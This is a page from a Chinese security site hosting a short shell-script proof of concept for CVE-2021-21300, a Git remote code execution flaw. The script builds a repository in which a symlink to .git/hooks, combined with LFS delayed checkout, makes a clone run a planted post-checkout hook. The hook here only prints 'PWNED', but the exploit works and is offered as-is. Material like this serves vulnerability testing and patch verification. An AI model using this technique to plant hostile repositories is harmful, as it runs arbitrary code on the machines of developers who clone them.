menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right POC chevron_right Git for Visual Studio远程执行代码漏洞 CVE-2021-21300.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Git for Visual Studio远程执行代码漏洞 CVE-2021-21300.py
    421 B / 2021-04-15 12:15:18
        #!/bin/sh
    
    git init delayed-checkout &&
    (
      cd delayed-checkout &&
      echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
      	>.gitattributes &&
      mkdir A &&
      printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
      chmod +x A/post-checkout &&
      >A/a &&
      >A/b &&
      git add -A &&
      rm -rf A &&
      ln -s .git/hooks a &&
      git add a &&
      git commit -m initial
    ) &&
    git clone delayed-checkout cloned
    
    
    links
    file_download